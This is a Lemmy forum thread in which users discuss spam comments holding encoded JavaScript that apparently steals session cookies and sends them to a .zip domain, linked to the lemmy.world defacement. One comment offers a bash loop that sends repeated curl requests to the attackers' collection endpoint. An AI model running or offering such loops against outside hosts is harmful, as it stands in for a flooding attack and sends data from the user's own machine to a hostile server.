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What are these comments on lemmy posts? (lemmy.sdf.org)
submitted 3 years ago by to c/asklemmy@lemmy.ml
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Are they just an issue with wefwef or trying to use an exploit

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[–] 1 point 3 years ago (1 child)

The encoded string contains the URL zelensky dot zip. Zip is one of the newer top-level domains. It itself is not a zip file, but I am not going to visit that site to find out whatever treasures it has to offer..

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  • [–] 1 point 3 years ago (2 children)

    Another reason to block this TLD in the firewall solution.

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  • [–] -5 points 3 years ago* (1 child)

    sorry i’m missing it. why this specific TLD? can’t they just use any TLD for this and achieve the same thing? why is this a reason to block it?

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  • [–] 0 points 3 years ago (1 child)

    Because .zip is a commonly used file extension.

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  • [–] -5 points 3 years ago (1 child)

    i think i understand that part but why is this specific event "another reason to block this TLD"? can’t they just use any TLD for this and achieve the same thing? is there another inherit security issue with .zip that doesn't exist with other domains?

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  • [–] 0 points 3 years ago (1 child)

    They can and they do. Using a commonly known and used file extension to “hide” a malicious URL is just easier.

    https://www.youtube.com/watch?v=GCVJsz7EODA

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  • [+] -6 points 3 years ago

    gotcha ok i think i’m getting it. just to make sure i’m not missing anything, you’re saying that in this case it didn’t matter as in the end they could use any TLD and achieve the same effect.

    but in general, threat actors hope to confuse people into thinking this “.zip” TLDs are only referencing local files instead of web addresses. right?

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    • [–] 0 points 3 years ago (1 child)

    Lemmy.world instance under attack right now. It was previously redirecting to 🍋 🎉 and the title and side bar changed to antisemitic trash.

    They supposedly attributed it to a hacked admin account and was corrected. But the instance is still showing as defaced and now the page just shows it was “seized by reddit”.

    Seems like there is much more going on right now and the attackers have much more than a single admin account.

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  • [–] 0 points 3 years ago (1 child)

    I just want to add a quick note:

    From OPs screenshot, I noticed the JS code is attempting to extract the session cookie from the users that click on the link. If it’s successful, it attempts to exfiltrate to some server otherwise sends an empty value.

    You can see the attacker/spammer obscures the url of the server using JS api as well.

    May be how lemmy.world attackers have had access for a lengthy period of time. Attackers have been hijacking sessions of admins. The one compromised user opened up the flood gates.

    Not a sec engineer, so maybe someone else can chime in.

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  • [–] 1 point 3 years ago

    Here's a quick bash script if anyone wants to help flood the attackers with garbage data to hopefully slow them down: while true; do curl https://zelensky.zip/save/$(echo $(hostname) $(date) | shasum | sed 's/.\{3\}$//' | base64); sleep 1; done

    Once every second, it grabs your computer name and the current system time, hashes them together to get a completely random string, trims off the shasum control characters and base64 encodes it to make everything look similar to what the attackers would be expecting, and sends it as a request to the same endpoint that their xss attack uses. It'll run on Linux and macOS (and windows if you have a WSL vm set up!) and uses next to nothing in terms of system resources.

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